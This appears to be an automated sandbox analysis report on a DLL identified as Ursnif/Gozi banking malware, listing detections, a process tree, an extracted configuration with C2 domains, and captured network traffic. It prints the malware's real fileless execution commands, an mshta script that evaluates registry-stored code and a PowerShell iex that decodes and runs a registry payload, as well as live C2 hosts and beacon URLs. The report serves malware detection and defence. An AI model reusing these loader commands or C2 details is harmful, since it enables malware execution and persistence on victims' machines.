Play interactive tour

Edit tour

Windows Analysis Report lj3H69Z3Io.dll

Overview

General Information

Sample Name:	lj3H69Z3Io.dll
Analysis ID:	447090
MD5:	0bb29556ece1c51c751cb4e7c8752ddc
SHA1:	324cc356a56c68e51f09348e91405001e68e4a08
SHA256:	af1b052362469a67fcd871558b24efa2be44a4b29f88112e5c2d2295a1dc4252
Tags:	dllGoziISFBUrsnif
Infos:
Most interesting Screenshot:

Detection

Ursnif

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Sigma detected: Encoded IEX

Yara detected Ursnif

Sigma detected: MSHTA Spawning Windows Shell

Sigma detected: Mshta Spawning Windows Shell

Suspicious powershell command line found

Writes registry values via WMI

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 3296 cmdline: loaddll32.exe 'C:\Users\user\Desktop\lj3H69Z3Io.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 2696 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\lj3H69Z3Io.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 1304 cmdline: rundll32.exe 'C:\Users\user\Desktop\lj3H69Z3Io.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 3416 cmdline: rundll32.exe C:\Users\user\Desktop\lj3H69Z3Io.dll,Busysection MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 5160 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3416 -s 648 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 64 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3416 -s 656 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

rundll32.exe (PID: 1808 cmdline: rundll32.exe C:\Users\user\Desktop\lj3H69Z3Io.dll,Dealthis MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5964 cmdline: rundll32.exe C:\Users\user\Desktop\lj3H69Z3Io.dll,Sing MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5796 cmdline: rundll32.exe C:\Users\user\Desktop\lj3H69Z3Io.dll,Teethshould MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

iexplore.exe (PID: 996 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 6116 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:996 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 2592 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:996 CREDAT:82950 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 1264 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:996 CREDAT:17430 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

mshta.exe (PID: 6132 cmdline: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Ff7t='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ff7t).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\DeviceFile'));if(!window.flag)close()</script>' MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)

powershell.exe (PID: 5004 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)) MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 5064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: Ursnif

{"lang_id": "RU, CN", "RSA Public Key": "RS1bISYM3RiUEB+kp8sXk6GKaUSJTMdHLJSpyFRYeZm6NlcBwtjx2F3paluhib1HCWprL2CGUSXu41FZM2nRjuIHp5Tc3Qvf1bHq8axt1kKB98ZnmfPh2SiQVpHGVA+TOuAe97sVP0cE6xXX2ilAxOJC4Rf34gUi3XolV8kPrfJCHChbu9w1+s7rrVZTOVjBW+TY1D3deVJlDZHvhlBuumQis3pP1XsoLa3Qay006/AhbN9RIoAAij7c7SagXOd4BXA8L9GZCI5rXohvITy2kTk5pHs5LCiTFpT9Pohv1JBotMkOGx7WyBP+G1Cbx4yBjRbbIosmagFN4Hgw4QhKyFdWlAfAWJCgEYrSkeFoNBM=", "c2_domain": ["gtr.antoinfer.com", "app.bighomegl.at"], "botnet": "2500", "server": "580", "serpent_key": "B43ovnLWYCtQUCWU", "sleep_time": "10", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "10"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.556259843.0000000004DDC000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.537141120.0000000004FD8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.537104299.0000000004FD8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.536940847.0000000004FD8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.548180639.0000000004F59000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.537188735.0000000004FD8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.537165510.0000000004FD8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.537047715.0000000004FD8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.536909133.0000000004FD8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.536969040.0000000004FD8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.3.rundll32.exe.4f594a0.2.raw.unpack	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security

Sigma Overview

System Summary:

Sigma detected: Encoded IEX

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Ff7t='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ff7t).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\DeviceFile'));if(!window.flag)close()</script>', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6132, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), ProcessId: 5004

Sigma detected: MSHTA Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Ff7t='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ff7t).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\DeviceFile'));if(!window.flag)close()</script>', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6132, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), ProcessId: 5004

Sigma detected: Mshta Spawning Windows Shell

Show sources

Source: Process started

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Ff7t='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ff7t).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\DeviceFile'));if(!window.flag)close()</script>', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6132, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), ProcessId: 5004

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000003.00000003.351054723.00000000027A0000.00000040.00000001.sdmp

Malware Configuration Extractor: Ursnif {"lang_id": "RU, CN", "RSA Public Key": "RS1bISYM3RiUEB+kp8sXk6GKaUSJTMdHLJSpyFRYeZm6NlcBwtjx2F3paluhib1HCWprL2CGUSXu41FZM2nRjuIHp5Tc3Qvf1bHq8axt1kKB98ZnmfPh2SiQVpHGVA+TOuAe97sVP0cE6xXX2ilAxOJC4Rf34gUi3XolV8kPrfJCHChbu9w1+s7rrVZTOVjBW+TY1D3deVJlDZHvhlBuumQis3pP1XsoLa3Qay006/AhbN9RIoAAij7c7SagXOd4BXA8L9GZCI5rXohvITy2kTk5pHs5LCiTFpT9Pohv1JBotMkOGx7WyBP+G1Cbx4yBjRbbIosmagFN4Hgw4QhKyFdWlAfAWJCgEYrSkeFoNBM=", "c2_domain": ["gtr.antoinfer.com", "app.bighomegl.at"], "botnet": "2500", "server": "580", "serpent_key": "B43ovnLWYCtQUCWU", "sleep_time": "10", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "10"}

Multi AV Scanner detection for domain / URL

Show sources

Source: gtr.antoinfer.com

Virustotal: Detection: 7%

Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: lj3H69Z3Io.dll	Virustotal: Detection: 41%			Perma Link
Source: lj3H69Z3Io.dll	ReversingLabs: Detection: 31%

Source: lj3H69Z3Io.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: lj3H69Z3Io.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: sfc_os.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000014.00000003.418696334.0000000005370000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000014.00000003.418696334.0000000005370000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: rundll32.pdbk source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb5 source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb- source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: mpr.pdb source: WerFault.exe, 00000014.00000003.418696334.0000000005370000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb; source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: Bed.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: setupapi.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: imagehlp.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: upwntdll.pdb source: WerFault.exe, 00000014.00000002.436609525.0000000004DF9000.00000004.00000001.sdmp
Source:	Binary string: winspool.pdb! source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbk source: WerFault.exe, 00000014.00000003.418696334.0000000005370000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: winspool.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbk source: WerFault.exe, 00000014.00000003.418696334.0000000005370000.00000004.00000040.sdmp
Source:	Binary string: c:\201\Their\Quart-Sheet\497_who\Bed.pdb source: rundll32.exe, 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.616072901.000000006E191000.00000002.00020000.sdmp, WerFault.exe, 00000014.00000003.411602089.0000000004DE1000.00000004.00000001.sdmp, lj3H69Z3Io.dll
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: netapi32.pdbD source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: AcLayers.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000014.00000003.418696334.0000000005370000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: netapi32.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000014.00000003.418696334.0000000005370000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000014.00000003.418696334.0000000005370000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000014.00000003.418696334.0000000005370000.00000004.00000040.sdmp
Source:	Binary string: rundll32.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: wtsapi32.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb' source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: sfc_os.pdbS source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: sfc.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbk source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: c:\201\Their\Quart-Sheet\497_who\Bed.pdbbj source: WerFault.exe, 00000014.00000003.412073889.0000000004DB5000.00000004.00000001.sdmp
Source:	Binary string: netutils.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: Nc:\201\Their\Quart-Sheet\497_who\Bed.pdb source: WerFault.exe, 00000014.00000003.411494273.0000000004E04000.00000004.00000001.sdmp

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_6E188626 FindFirstFileExA,

2_2_6E188626

Source: Joe Sandbox View

ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS

Source: global traffic	HTTP traffic detected: GET /4khtvsQ0u/_2Bibxls4V27IXxwFbLo/MVAeZiN_2BcOXrnrV8V/qJdJNxZ6Bgv5NEeycuU5RT/xP63sFYeQbF7V/py7Hi7cb/9YfAdWQtdGthxteTogc4W5n/e4pHdJmwQV/Xb_2ByBc4q7LehmCP/qbPYu2dVkV6R/HcylsChDiT2/MxSzZGJm_2F7kQ/SwyqdbxYkDgH_2FqkftiZ/sgfsFtj_2BtQQ2R6/R1qw5igRxvImwz6/pMeyM_2FrLNrloESyl/5_2BeunOI/9zlfRQun7lnhbsKL_2FH/F_2B8nMOma_2F2fjvu5/bI8nw1gkOTg_2F0CTqoQIr/cSQsg2LKmpe1I/kDimvPNH/SgPLk HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: gtr.antoinfer.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: gtr.antoinfer.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Pl9Eori10/TWROVDxUXG0e5P8cvyge/ZU2BrrTT9UbiVqqjDG4/pcVLHkjQ_2FTIEKMeI9p0c/uvvfHn2PMXNEy/YMBxD3SD/aXgaxQm1VvX_2F13h2xPwK_/2Be7i5l50E/A7ENFq4ZupT65ephY/chqySvAke9ce/Kevf8ZZImEj/1Va42IfLQ3XJd9/R1lLLjkYwIWCsGvDlqysG/bJCIxC_2Ba_2FKBG/1sCib9KWGT9006o/pVIAR6x7f8e8pX6JMX/r5dwKRidW/K11bWM2mJHwpxkeOpFZf/WuqCfL3c8woO2jHlv7x/oi4kjIDfCy176FSPyJZhM9/EN_2FkQv43sxx/a HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: gtr.antoinfer.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: gtr.antoinfer.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /M70Tzsw1MNAdF/xfm5A_2F/icgFe0hTlDYi8x1LZCDgadb/p8hAogRvpL/JEjshnYytb_2FaVCd/bp1e8aV2PI_2/FY5oP4oo0f6/GeARX2_2FlA_2F/2BhurwBe_2BrsQ1B1bUK7/wilinEmmYIdaZ6lz/71Mw33QzoCtr9s9/ULFilVIFcIxUDJIsEo/crrSiFkaK/6sQSCYti3ETwug18IBlk/b94MQVqQ698rgMibrOo/RMBVkg8AFrK4uT2Dq6pO06/OdceZPFn8QQWz/SARUSfJd/dirYBJB3Uuu4IivFAYs9FmV/Pmcsy6YvBv/Lcgiqf1bUTKnYCeNL/dikDMv66Bty/6H HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: gtr.antoinfer.comConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: gtr.antoinfer.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 12 Jul 2021 09:50:36 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Source: powershell.exe, 0000002A.00000002.626923996.00000273E0C30000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: {08A52032-E342-11EB-90E4-ECF4BB862DED}.dat.32.dr, ~DFBCEA36BA3DC5EC74.TMP.32.dr	String found in binary or memory: http://gtr.antoinfer.com/4khtvsQ0u/_2Bibxls4V27IXxwFbLo/MVAeZiN_2BcOXrnrV8V/qJdJNxZ6Bgv5NEeycuU5RT/x
Source: rundll32.exe, 00000003.00000002.610195146.0000000002CD0000.00000002.00000001.sdmp, powershell.exe, 0000002A.00000002.609722055.00000273C7180000.00000002.00000001.sdmp	String found in binary or memory: http://gtr.antoinfer.com/M70Tzsw1MNAdF/xfm5A_2F/icgFe0hTlDYi8x1LZCDgadb/p8hAogRvpL/JEjshnYytb_2
Source: {08A52036-E342-11EB-90E4-ECF4BB862DED}.dat.32.dr	String found in binary or memory: http://gtr.antoinfer.com/M70Tzsw1MNAdF/xfm5A_2F/icgFe0hTlDYi8x1LZCDgadb/p8hAogRvpL/JEjshnYytb_2FaVCd
Source: {08A52034-E342-11EB-90E4-ECF4BB862DED}.dat.32.dr, ~DF5A692A62F2D75F35.TMP.32.dr	String found in binary or memory: http://gtr.antoinfer.com/Pl9Eori10/TWROVDxUXG0e5P8cvyge/ZU2BrrTT9UbiVqqjDG4/pcVLHkjQ_2FTIEKMeI9p0c/u
Source: powershell.exe, 0000002A.00000002.622133874.00000273D895C000.00000004.00000001.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000002A.00000002.612577648.00000273C8AFF000.00000004.00000001.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000002A.00000002.610882160.00000273C88F1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000002A.00000002.612577648.00000273C8AFF000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000002A.00000002.622133874.00000273D895C000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000002A.00000002.622133874.00000273D895C000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000002A.00000002.622133874.00000273D895C000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000002A.00000002.612577648.00000273C8AFF000.00000004.00000001.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000002A.00000002.622133874.00000273D895C000.00000004.00000001.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 3.3.rundll32.exe.4f594a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.556259843.0000000004DDC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537141120.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
